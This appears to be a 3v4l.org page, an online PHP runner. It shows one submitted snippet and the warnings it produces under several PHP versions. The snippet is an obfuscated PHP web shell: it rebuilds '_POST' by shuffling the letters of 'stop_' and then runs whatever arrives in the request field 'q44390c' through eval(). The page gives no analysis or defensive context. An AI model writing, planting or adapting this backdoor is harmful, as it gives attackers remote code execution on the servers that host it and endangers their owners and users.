3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $qV="stop_"; $s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]); print(${s20}['q44390c']); if(isset(${$s20}['q44390c'])){eval(${$s20}['q44390c']); }
based on hAMDA
Output for 7.2.0
Warning: Use of undefined constant s20 - assumed 's20' (this will throw an Error in a future version of PHP) in /in/GJjvF on line 4 Warning: Illegal string offset 'q44390c' in /in/GJjvF on line 4 _
Output for 5.4.10 - 7.1.10
Notice: Use of undefined constant s20 - assumed 's20' in /in/GJjvF on line 4 Warning: Illegal string offset 'q44390c' in /in/GJjvF on line 4 _
Output for 5.3.20 - 5.3.29
Notice: Use of undefined constant s20 - assumed 's20' in /in/GJjvF on line 4 _